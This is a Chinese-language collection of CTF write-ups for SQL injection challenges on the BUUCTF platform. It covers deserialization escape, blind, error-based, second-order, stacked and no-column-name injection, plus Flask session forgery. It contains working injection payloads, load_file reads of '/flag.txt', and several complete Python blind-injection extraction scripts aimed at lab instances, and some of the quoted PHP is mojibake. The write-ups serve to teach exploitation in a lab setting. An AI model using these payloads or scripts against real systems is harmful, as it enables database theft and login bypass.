mysql注入ctf_BUUCTF[归纳]sql注入相关题目

这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境。

[0CTF 2016]piapiapia

我尝试了几种payload,发现有两种情况。

第一种:Invalid user name

第二种:Invalid user name or password

第一步想到的是盲注或者报错,因为fuzz一波有一些是没有过滤掉的。

对于后台的拦截我想到的可能是黑名单或者是正则表达式匹配。

先不管,用字典扫一遍扫到源码直接下载下来。

每个文件都看了一遍发现root的username是可以使用的,提示出来是Invalid password

这一段是class.php的源代码

public function filter($string) {

$escape = array(‘\‘‘, ‘\\\\‘);

$escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;

$string = preg_replace($escape, ‘_‘, $string);

$safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);

$safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;

return preg_replace($safe, ‘hacker‘, $string);

}

这是一段updata.php的代码:

$user->update_profile($username, serialize($profile));

这里是有一段序列化的数据,这意味着我们可以使用一段序列化的数据进行数据的发送,然后这段数据会在后端进行反序列化读取数据。

还有一段数据:

$username = $_SESSION[‘username‘];

if(!preg_match(‘/^\d{11}$/‘, $_POST[‘phone‘]))

die(‘Invalid phone‘);

if(!preg_match(‘/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/‘, $_POST[‘email‘]))

die(‘Invalid email‘);

if(preg_match(‘/[^a-zA-Z0-9_]/‘, $_POST[‘nickname‘]) || strlen($_POST[‘nickname‘]) > 10)

die(‘Invalid nickname‘);

这也是一段过滤的匹配操作。

在update的过程我们可以匹配了,我们传递四个参数,phone,email,nackname,以及photo。

进行正则表达式的过滤,赋予到$profile变量中。

调用ipdate_profile这个自定义的函数进行操作,里面的参数已经被序列化了。

查看一下这个函数,他需要传入username,以及上一步所生成的序列化的profile:

public function update_profile($username, $new_profile) {

$username = parent::filter($username);

$new_profile = parent::filter($new_profile);

$where = "username = ‘$username‘";

return parent::update($this->table, ‘profile‘, $new_profile, $where);

}

看到了是用了filter,就是我们最开始注意到的:

public function filter($string) {

$escape = array(‘\‘‘, ‘\\\\‘);

$escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;

$string = preg_replace($escape, ‘_‘, $string);

$safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);

$safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;

return preg_replace($safe, ‘hacker‘, $string);

}

既然有序列化,那肯定就有反序列化读取数据的地方,我在profile找到了,以下是profile的源码:

require_once(‘class.php‘);

if($_SESSION[‘username‘] == null) {

die(‘Login First‘);

}

$username = $_SESSION[‘username‘];

$profile=$user->show_profile($username);

if($profile == null) {

header(‘Location: update.php‘);

}

else {

$profile = unserialize($profile);

$phone = $profile[‘phone‘];

$email = $profile[‘email‘];

$nickname = $profile[‘nickname‘];

$photo = base64_encode(file_get_contents($profile[‘photo‘]));

?>

这里使用到了反序列化逃逸,奇怪的知识增加了hhh。

反序列化的逃逸利用到的还是截断欺骗,通过反序列化的逃逸我们能够抛弃院线数据,从而使自己的数据被上传上去。

在phpstudy上验证一下:

$b = ‘a:3:{i:0;s:3:"qsq";i:1;s:2:"mx";i:2;s:4:"test";}‘;

var_dump(unserialize($b));

?>

output:

array(3) { [0]=> string(3) "qsq" [1]=> string(2) "mx" [2]=> string(4) "test" }

反序列化逃逸:

//$a = array(‘qsq‘, ‘mx‘, ‘test‘);

//var_dump(serialize($a));

//"a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:4:"test";}"

$b = ‘a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:5:"wocao";}";i:2;s:4:"test";}‘;

var_dump(unserialize($b));

?>

output: array(3) { [0]=> string(3) "qsq" [1]=> string(3) "jia" [2]=> string(5) "wocao" }

这就是反序列化逃逸。

在这道题中我们的序列化字符可控,长度也是固定的。

flag在config.php当中,我们需要利用反序列化将config.php的flag给打出来,那么意味着,我们要把这段payload想办法插进去,";s:5:"photo";s:10:"config.php";}

这里有个问题,那就是刚开始九个正则表达式长度的限制:

if(preg_match(‘/[^a-zA-Z0-9_]/‘, $_POST[‘nickname‘]) || strlen($_POST[‘nickname‘]) > 10)

die(‘Invalid nickname‘);

这里我们使用数组就可以绕过,但是数组在序列化之后是这样子的:

s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo"

我们想要之后的序列化成功,我们也需要进行补齐:

所以我们构造的payload应该是这样的:

";}s:5:“photo”;s:10:“config.php”;}

这里多了两个字符变成了34个字符。

搞出三十四个空位就是我们当务之需的了最开始我们看到了什么:

public function filter($string) {

$escape = array(‘\‘‘, ‘\\\\‘);

$escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;

$string = preg_replace($escape, ‘_‘, $string);

$safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);

$safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;

return preg_replace($safe, ‘hacker‘, $string);

}

就是这里,过滤的地方,加入我们传入where,那么他会替换为hacker,五字节换成了六字节,那么s=6,此时必然有一个字节是不收掌控的,那么我们写34个where,那么他就转换成了34个hacker,原本我们传递的是534+34=204个字节,但是由于转换完之后就是634+34=238个字节,前面的hacker*34把我们设定的204填满了,此时";}s:5:“photo”;s:10:“config.php”;}就成功出来了,实现了逃逸闭合。

此时我们抓包修改,一切就ok了。

payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

最后我们去查看读取的文件取得flag。

所以具体步骤:

注册账户

登录账户

随意提交一些资料抓包

修改nickname为nickname[],数组绕过长度检测

修改nickname中的内容

图片进行base64解码:

$config[‘hostname‘] = ‘127.0.0.1‘;

$config[‘username‘] = ‘root‘;

$config[‘password‘] = ‘qwertyuiop‘;

$config[‘database‘] = ‘challenges‘;

$flag = ‘flag{370d3e2c-2161-4531-bfeb-e3093b2913f9}‘;

?>

[BJDCTF 2nd]简单注入

这道题先fuzz一下,因为试了一下and什么的被过滤了,所以随便fuzz一下,发现他过滤的有点少,用的方法可以是bool盲注。

但是由于单引号也被过滤了,所以有点难搞,这个时候转义符就有作用了,我们使用转义符进行绕过,姿势就是admin\,这样后端我们我们的username就成为了

username=‘admin \‘ and password=‘

这是hint下的内容,告诉了我们后台的判断语句,其实我们可以猜出来的。

select * from users where username=‘$_POST["username"]‘ and password=‘$_POST["password"]‘;

按照这样我们使用二分法进行bool注入就行,刚开始星耀遍历循环,真是脑子抽了。

#coding:utf-8

import requests

import time

url = "http://aed2ff9b-a59f-4192-94ce-362ee82b9d30.node3.buuoj.cn/index.php"

temp = {}

password = ""

for i in range(1,1000):

time.sleep(0.06)

low = 32

high =128

mid = (low+high)//2 #取中间

while(low

payload = ‘^ (ascii(substr((password),%d,1))>%d)#‘ % (i,mid)

temp={"username":"admin\\","password": payload}

r = requests.post(url,data=temp)

print(low,high,mid,":")

if "P3rh4ps" in r.text: #条件为真,则向上提一位,假则最高项设为中间数,进行了锁定将搜索范围减小至一半

low = mid+1

else:

high = mid

mid =(low+high)//2 #取新范围的一半

if(mid ==32 or mid ==127): #当判断完成之后进行退出。

break

password +=chr(mid)

print(password)

print("password=",password)

这样就能把password和username全部爆出来了。

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

随手注册了一下,admin2‘#发现在查询的界面上找不到,加入反斜杠进行转义然后进行查询,发现是能够查询到的,也就是说注册界面是存在转义,但是查询界面是没有的,同样的在修改页面也是这样的。

查看了一下页面,发现·是有file的提示的,所以读取文件,利用php伪协议:file=php://filter/convert.base64-encode/resource=index.php

php代码:

ini_set(‘open_basedir‘, ‘/var/www/html/‘);

// $file = $_GET["file"];

$file = (isset($_GET[‘file‘]) ? $_GET[‘file‘] : null);

if (isset($file)){

if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {

echo(‘no way!‘);

exit;

}

@include($file);

}

?>

search.php:

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))

{

$msg = ‘‘;

$pattern = ‘/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i‘;

$user_name = $_POST["user_name"];

$phone = $_POST["phone"];

if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

$msg = ‘no sql inject!‘;

}else{

$sql = "select * from `user` where `user_name`=‘{$user_name}‘ and `phone`=‘{$phone}‘";

$fetch = $db->query($sql);

}

if (isset($fetch) && $fetch->num_rows>0){

$row = $fetch->fetch_assoc();

if(!$row) {

echo ‘error‘;

print_r($db->error);

exit;

}

$msg = "

å§?å??:".$row[‘user_name‘]."

, ç?µè¯?:".$row[‘phone‘]."

, å?°å??:".$row[‘address‘]."

";

} else {

$msg = "æ?ªæ?¾å?°è®¢å??!";

}

}else {

$msg = "信���";

}

?>

config.php:

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

"host" => "127.0.0.1",

"username" => "root",

"password" => "root",

"dbname" =>"ctfusers"

);

$db = new mysqli($DATABASE[‘host‘],$DATABASE[‘username‘],$DATABASE[‘password‘],$DATABASE[‘dbname‘]);

confirm.php:

require_once "config.php";

//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))

{

$msg = ‘‘;

$pattern = ‘/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i‘;

$user_name = $_POST["user_name"];

$address = $_POST["address"];

$phone = $_POST["phone"];

if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

$msg = ‘no sql inject!‘;

}else{

$sql = "select * from `user` where `user_name`=‘{$user_name}‘ and `phone`=‘{$phone}‘";

$fetch = $db->query($sql);

}

if($fetch->num_rows>0) {

$msg = $user_name."å·²æ??交订å??";

}else{

$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";

$re = $db->prepare($sql);

$re->bind_param("sss", $user_name, $address, $phone);

$re = $re->execute();

if(!$re) {

echo ‘error‘;

print_r($db->error);

exit;

}

$msg = "订å??æ??交æ??å??";

}

} else {

$msg = "信���";

}

?>

change.php:

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))

{

$msg = ‘‘;

$pattern = ‘/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i‘;

$user_name = $_POST["user_name"];

$address = addslashes($_POST["address"]);

$phone = $_POST["phone"];

if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

$msg = ‘no sql inject!‘;

}else{

$sql = "select * from `user` where `user_name`=‘{$user_name}‘ and `phone`=‘{$phone}‘";

$fetch = $db->query($sql);

}

if (isset($fetch) && $fetch->num_rows>0){

$row = $fetch->fetch_assoc();

$sql = "update `user` set `address`=‘".$address."‘, `old_address`=‘".$row[‘address‘]."‘ where `user_id`=".$row[‘user_id‘];

$result = $db->query($sql);

if(!$result) {

echo ‘error‘;

print_r($db->error);

exit;

}

$msg = "订å??ä¿®æ?¹æ??å??";

} else {

$msg = "æ?ªæ?¾å?°è®¢å??!";

}

}else {

$msg = "信���";

}

?>

攻击点在这里:

if (isset($fetch) && $fetch->num_rows>0){

$row = $fetch->fetch_assoc();

$sql = "update `user` set `address`=‘".$address."‘, `old_address`=‘".$row[‘address‘]."‘ where `user_id`=".$row[‘user_id‘];

$result = $db->query($sql);

if(!$result) {

echo ‘error‘;

print_r($db->error);

exit;

}

同时代码对于address的限制只存在于$address = addslashes($_POST["address"]);一些特殊符号是没有作用了,但是这仅仅是第一步,如果我们在进行一次的更新会发生什么,那就是我们的特殊符号是能够执行的,他会通过拼接加注释将我们后面的where替换修改掉,所以第二次修改的时候就可能产生注入。

payload:1‘ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt‘),1,20)),0x7e),1)#

[CISCN2019 总决赛 Day2 Web1]Easyweb

看到了图片,哥哥,这个id也太明显了吧:http://cb14ef87-a959-4689-9c46-527c6fa0db17.node3.buuoj.cn/image.php?id=3e9

可能是存在sql注入漏洞的,但是可能存在过滤,不知道他的运行代码是怎样的,哈哈。

查看robots.txt文件,其实刚开始我是没有扫到的,又扫了一遍才扫到,告诉我们:

User-agent: *

Disallow: *.php.bak

既然不让我们爬bak,那就看看有什么好东西喽。

试了一圈:

http://cb14ef87-a959-4689-9c46-527c6fa0db17.node3.buuoj.cn/image.php.bak

在这里是有文件泄露出来的,代码如下

include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";

$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);

$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\‘","‘"),"",$id);

$path=str_replace(array("\\0","%00","\\‘","‘"),"",$path);

$result=mysqli_query($con,"select * from images where id=‘{$id}‘ or path=‘{$path}‘");

$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];

header("Content-Type: image/jpeg");

readfile($path);

可以看到其实就是sql注入漏洞,过滤了一些敏感的字符。

这个时候就是有挂php代码审计的部分,在代码审计的问题中是由一种情况的:有时候我们可以将单引号进行转义,从而使他和下一个的单引号形成闭合,进行注入,简单的时候我们username直接\,password的地方放入payload,通过分析这段脚本,我们可以得到payload:\0->\\0->\\这就是我们输入\0被处理的过程。

后端拼接:select * from images where id=‘\‘ or path=‘ or 1=1#

payload:http://83d7f78d-4253-4c22-adee-58e5da762a6e.node3.buuoj.cn/image.php?id=\0&path=or%20ascii(substr(database(),1,1))>22%23

脚本bool盲注:

import requests

url = r‘http://6873d13e-5f19-42e4-bb8f-dec6d9acdeb3.node1.buuoj.cn/image.php‘

result = ‘‘

for x in range(0, 100):

high = 127

low = 32

mid = (low + high) // 2

while high > low:

payload = " or id=if(ascii(substr((select password from users limit 1 offset 0),%d,1))>%d,1,0)#" % (x, mid)

params = {

‘id‘:‘\\\\0‘,

‘path‘:payload

}

response = requests.get(url, params=params)

if b‘JFIF‘ in response.content:

low = mid + 1

else:

high = mid

mid = (low + high) // 2

result += chr(int(mid))

print(result)

这个时候我们就进入了文件上传的界面,我们可以把文件名变为php一句话传上去,因为我们随便穿了一个文件上去,可以看到显示出来的是一个日志文件的路径,所以我们可以让这个日志文件记录我们的一句话木马的文件名。

PHP开启短标签即shortopentag=on时,可以使用 ?>输出变量,但= ?>不受该条控制。

随便试了一下,是存在过滤的,但是之对于username那里,admin用户是存在的。

查看一下有没有什么提示:MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5只有大写字母跟数字一眼就知道是base32,解码之后发现是base64,继续进行64解密,得到:

select * from user where username = ‘$name‘

好像知道了为什么对于password是没有过滤机制的了。

我的第一个payload:name=‘admin&pw=1是有报错存在的。

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘admin#‘‘ at line 1接下来方向就是报错注入了,当然其他注入也是可能的·。

因为上面已经说到了一些是被过滤了,先fuzz一波看看那些关键词没被过滤,fuzz完之后两个地方是产生了报错,还有就是被过滤了长度是419,其余就是415了。

一些比较重要的:=,or,xor,flor,rand,order

payload1:name=admin‘ AND 1#&pw=1,name=admin‘ AND 0#&pw=1.

payload2:name=admin‘ union select 1,2,3,4 from user#&pw=1确定列有4列。

尝试返回数据,失败,那么报错注入就不太可能了,尝试一下报错,但是有个致命的就是他过滤了()这两个符号,那么我们想要使用报错和时间盲注是不可能的了,得我又跪了,呜呜呜。

涉及到一个知识点:当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据在数据库中。

最终payload:name=eee‘ union select 999,‘admin‘,‘81dc9bdb52d04dc20036dbd8313ed055‘%23&pw=1234。我们首先要构造一个不存在的查询数据即eee,接下来联合注入,第一列推测可能是id,第二列是username,第三列是password,因为之前有输入一些乱七八糟的直接是把pw[]按数组打了进去,知道他是md5可能进行了加密,于是1234进行md5加密放到第三列,说实话我是有点没有理解它的原理,因为我觉得暂时替换了之后,但由于username我们设置的部队也应该没有办法登陆啊。

所以我大胆的猜测一波,其实password和username不是同一波的,也就是password是第二波,此时username对应的所有字段都查出来后,再检验密码就能和查出来的密码对上。

[RCTF2015]EasySQL

fuzz一波,是存在一些过滤的。

注入的点可能就是在改密码的那里,但是具体的形式是什么样子还不知道:还是需要进一步的去探测。

盲猜一下他的语句应该是update,

update users set password=‘xxxx‘ where username=‘xxxx‘ and pwd=‘202cb962ac59075b964b07152d234b70‘

但是单引号这里没什么反应,所以换一下双引号,确实是报错了,在这里使用updatexml进行报错的注入:

payload:"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

payload:test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#

发现是假的,转到users表里:test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name=‘users‘)&&(column_name)regexp(‘^r‘)),0x7e),1)#

在这里是用到了正则表达式来匹配,关于mysql当中的正则表达式: mysql> SELECT name FROM person_tbl WHERE name REGEXP ‘ok$‘;

这里匹配的是一ok结尾的内容。所以我们根据这个正则表达式对上面进行过滤匹配到以r开头的列。

在最后我们发现是无法完全输出的利用reversr结合regexp继续进行尝试:

username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f‘))),1))#

查找flag开头的内容。

payload: username=mochu7"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f‘)))),1))#

利用[::-1]倒一下就好了。

当然用lapd和rpad应该也可以的吧。

[SWPU2019]Web1 1

二次注入,虽然以前有做过一道类似的但是思想却大不一样。

这道题禁用了很多函数,尽管我想使用burp,fuzz一遍,但是由于他每次广告栏都是有上限的,真是有够麻烦的,and,or,#,information,都被禁掉了,因为报错什么的在这个环境下都太麻烦,所以就算了。

payload1:-1‘/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,‘22

又22列,真是有够麻烦的呢。

-1‘/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,‘22

注入中在mysql默认情况下就可以替代information_schema库的方法:

https://www.anquanke.com/post/id/193512

bypass information_schema

利用innoDB引擎绕过对information_schema的过滤,这是一种方法但是有时候mysql默认是关闭InnoDB存储引擎,所以有一定的限制性。

MySQL5.7的新特性

如果我们有权限查sys的话:

在5.7之后mysql新增了sys schemma,我们可以在phpstudy里面查看到这样一张表:sys.schema_auto_increment_columns,如果数据库当中的表有一个自增的手段可以是id,也可以是其他列,那么就会被这张表监控到,所以有时候这张表有事很烈害的。

看一下别的视图:schema_table_statistics_with_buffer此时能看到再上一张表里没有出现的字段全部出现。

此时我们已经获取到了表名和库名,对于列名,我们使用join即可,利用join进行无列名注入:

关于无名注入:我使用了堆叠查询进行对比来更好地去理解

select5from (select 1,2,3,4,5,6,7,8 from users union select * from users)a;select 1,2,3,4,5,6,7,8 from users union select * from users;

结合实际情况:

select * from users where user_id=1 union select 1,5,2,3,4,5,6,7 from (select 1,2,3,4,5,6,7,8 from users union select * from users)a;

利用join报错来获得列名:

select * from users where user_id=1 union all select * from (select * from users as a join users b)c;

其中users为表名,这里会报错将我们的第一个列名给爆出来。

select * from users where user_id=1 union all select * from (select * from users as a join users b using(user_id))c;

爆出了第二个列名。

select * from users where user_id=1 union all select * from (select * from users as a join users b using(user_id,first_name))c;

参考文章:https://www.anquanke.com/post/id/193512

对于这种无列名注入我的理解就是去绕过了对于列名的使用利用sql数据库的特想区创建了一些新列名,进行了覆盖,然后去调用了那些我们创造的列名。

[极客大挑战 2019]FinalSQL

异或‘^‘是一种数学运算,当两条件相同时(同真同假)结果为假,当两条件不同时(一真一假)结果为真。

脚本:

import requests

url = ‘http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php‘

flag = ‘‘

for i in range(1,250):

low = 32

high = 128

mid = (low+high)//2

while(low

#payload = ‘http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#‘ %(i,mid)

payload = "http://33e8c85b-d0d4-4777-9143-702ddf10ee0e.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)

res = requests.get(url=payload)

if ‘ERROR‘ in res.text:

low = mid+1

else:

high = mid

mid = (low+high)//2

if(mid ==32 or mid ==127):

break

flag = flag+chr(mid)

print(flag)

脚本二

#然后是二分法,二分法要快很多:

# -*- coding: UTF-8 -*-

import re

import requests

import string

url = "http://5dbbc107-a871-4d45-940a-3b2712330fee.node3.buuoj.cn/search.php"

flag = ‘‘

def payload(i,j):

# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字

# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=‘geek‘),%d,1))>%d)^1"%(i,j) #表名

# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=‘F1naI1y‘)),%d,1))>%d)^1"%(i,j) #列名

sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)

data = {"id":sql}

r = requests.get(url,params=data)

# print (r.url)

if "Click" in r.text:

res = 1

else:

res = 0

return res

def exp():

global flag

for i in range(1,10000) :

print(i,‘:‘)

low = 31

high = 127

while low <= high :

mid = (low + high) // 2

res = payload(i,mid)

if res :

low = mid + 1

else :

high = mid - 1

f = int((low + high + 1)) // 2

if (f == 127 or f == 31):

break

# print (f)

flag += chr(f)

print(flag)

exp()

print(‘flag=‘,flag)

2019强网杯.随便注

标题都放在这里了随便注: 随便试探一下发现是单引号包含的:1‘ or 1=1 #

array(2) {

[0]=>

string(1) "1"

[1]=>

string(7) "hahahah"

}

array(2) {

[0]=>

string(1) "2"

[1]=>

string(12) "miaomiaomiao"

}

array(2) {

[0]=>

string(6) "114514"

[1]=>

string(2) "ys"

}

看到了这个表单中所有信息,这个时候我先要看这个表,采用堆叠注入:但是要注意堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。 1‘ ;show tables ;#

array(1) {

[0]=>

string(16) "1919810931114514"

}

array(1) {

[0]=>

string(5) "words"

}

看到有两个表,第一个是这个很长的数字,第二个是words。

尝试select查看这个表,返回提示:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

查看表的内容:

0‘;desc `1919810931114514`;#

同时我们也可以使用show命令:

1‘;show columns from `1919810931114514`;#

无论前者还是后者:要注意在这个数字型的数据库前必须要加上反引号才能生效,因为在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符,mysql逐句酷可能不认为这是一个表,但是家伙少年宫反引号就不一样了。

array(6) {

[0]=>

string(4) "flag"

[1]=>

string(12) "varchar(100)"

[2]=>

string(2) "NO"

[3]=>

string(0) ""

[4]=>

NULL

[5]=>

string(0) ""

}

这时有两种方法能够帮助我们查到flag。

利用预处理语句+堆叠注入

PREPARE name from ‘[my sql sequece]‘; //预定义SQL语句

EXECUTE name; //执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句

通过变量传递

SET @tn = ‘hahaha‘; //存储表名

SET @sql = concat(‘select * from ‘, @tn); //存储SQL语句

PREPARE name from @sql; //预定义SQL语句

EXECUTE name; //执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

payload1:1‘;PREPARE hacker from concat(char(115,101,108,101,99,116), ‘ * from1919810931114514‘);EXECUTE hacker;#

利用率char函数将ascii码转换为字母,然后利用concat函数将他们拼接在一起,这样就绕过了过滤。

payload2:1‘;SET @sqli=concat(char(115,101,108,101,99,116),‘* from1919810931114514‘);PREPARE hacker from @sqli;EXECUTE hacker;#

payload3:1‘;SET @a=concat("s","elect * from1919810931114514");PREPARE test from @a;EXECUTE test;#)

payload4:‘;handler1919810931114514open;handler1919810931114514read first#

关于函数handler的用法:

https://blog.csdn.net/JesseYoung/article/details/40785137

1‘;PREPARE xxx from concat(char(115,101,108,101,99,116),‘ * from1919810931114514 ‘);EXECUTE xxx;

注册账号登录,打开f12我们能够看到github的提示,我们把源码下载下来进行分析。

查看初始化模块

from flask import Flask

from config import Config

from flask_sqlalchemy import SQLAlchemy

from flask_migrate import Migrate

from flask_login import LoginManager

app = Flask(__name__)

app.config.from_object(Config)

db = SQLAlchemy(app)

migrate = Migrate(app, db)

login = LoginManager(app)

from app import routes, models

查看routes文件

修改password模块

@app.route(‘/change‘, methods = [‘GET‘, ‘POST‘])

def change():

if not current_user.is_authenticated:

return redirect(url_for(‘login‘))

form = NewpasswordForm()

if request.method == ‘POST‘:

name = strlower(session[‘name‘])

user = User.query.filter_by(username=name).first()

user.set_password(form.newpassword.data)

db.session.commit()

flash(‘change successful‘)

return redirect(url_for(‘index‘))

return render_template(‘change.html‘, title = ‘change‘, form = form)

register登记注册模块

@app.route(‘/register‘, methods = [‘GET‘, ‘POST‘])

def register():

if current_user.is_authenticated:

return redirect(url_for(‘index‘))

form = RegisterForm()

if request.method == ‘POST‘:

name = strlower(form.username.data)

if session.get(‘image‘).lower() != form.verify_code.data.lower():

flash(‘Wrong verify code.‘)

return render_template(‘register.html‘, title = ‘register‘, form=form)

if User.query.filter_by(username = name).first():

flash(‘The username has been registered‘)

return redirect(url_for(‘register‘))

user = User(username=name)

user.set_password(form.password.data)

db.session.add(user)

db.session.commit()

flash(‘register successful‘)

return redirect(url_for(‘login‘))

return render_template(‘register.html‘, title = ‘register‘, form = form)

查看渲染的index页面

{% include(‘header.html‘) %}

{% if current_user.is_authenticated %}

{% endif %}

{% if current_user.is_authenticated and session[‘name‘] == ‘admin‘ %}

{% endif %}

{% include(‘footer.html‘) %}

发现判断逻辑: {% if current_user.is_authenticated and session[‘name‘] == ‘admin‘ %} 证明要使用admin账号才能登陆。

config.py

import os

class Config(object):

SECRET_KEY = os.environ.get(‘SECRET_KEY‘) or ‘ckj123‘

SQLALCHEMY_DATABASE_URI = ‘mysql+pymysql://root:[email protected]:3306/test‘

SQLALCHEMY_TRACK_MODIFICATIONS = True

Config类在config模块中定义:

在Config的类,含有类属性SECRET_KEY,这里也有两个同名的不同对象,左面SECRET_KEY是调用os.environ.get返回的对象,作为Config类的类变量,中间SECRET_KEY是调用os.environ.get时,代入以字符串的形式表示的参数。

os.environ是一个存取环境变量的类,环境变量的值用get方法获取,本例是获取名称为‘SECRET_KEY‘环境变量的值

os.environ,也可以看作字典变量,例如当环境变量‘SECRET_KEY‘存在时,可以使用os.environ[‘SECRET_KEY‘]

flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

利用脚本我们将session解密,之后修改用户名为admin,然后再加密,burp截包替换session即可。

{‘_fresh‘: True, ‘_id‘: b‘121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4‘, ‘csrf_token‘: b‘d2495789467d55d9e38c2ffd63e9c578ee1b267a‘, ‘image‘: b‘BUXE‘, ‘name‘: ‘admin‘, ‘user_id‘: ‘10‘}

unicode欺骗

无论是在register,changepassword模块他们都加了strlower()进行小写转换,右键转到函数的实现。

def strlower(username):

username = nodeprep.prepare(username)

return username

使用到nodeprep.prepare函数,该函数专函大小写字符如下:

????? -> ADMIN -> admin

我们注册?DMIN用户,在registr中这个函数没被使用不被转义,在login进行第一次的编码转换,在changepassword又进行第二次,此时我们用户名就由?DMIN变为了admin,修改了admin的password。

转换形式如下:

????? -> ADMIN -> admin

条件竞争

这个在刚入学时候极客大挑战已经碰见过了,我们利用burpsuit的intruder模块就能利用,要设置两个线程同时进行,一个是不行的。

我被虐到了,呜呜呜

当 sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数

当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数

听说有大佬就三个字母就解决了,我枯了,payload:*,1,听说是直接猜出了源码select $_GET[‘query‘] || flag from flag

这种方式拼接出来那就是select *,1||flag from Flag

听说是因为1和任意字符串或数字使用 ||连接 的值都为1

当然还有一种解法,那是官方的解法:

1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接完之后就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

|| 相当于是将 select 1 和 select flag from flag 的结果拼在一起

sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符而非 “或” 运算符

关于MYSQL的sql_mode解析与设置

ONLY_ FULL_ GROUP_B:如果在SELECT中的列,没有在GROUP BY中出现,那么将 认为这个SQL是不合法的,因为列不在GROUP BY从句中,因为这个设置的存在,我们对于group by的用法只能是类似于select * from users group by id ;并且只能展示group by的字段,要是带有其他字段便会报错。

对这种状态进行修改:

set sql_mode=(select replace (@@sql_mode,‘ONLY_FULL_GROUP_BY‘,‘‘)); 可以使用该语句来将空格替换掉only_full_group_by

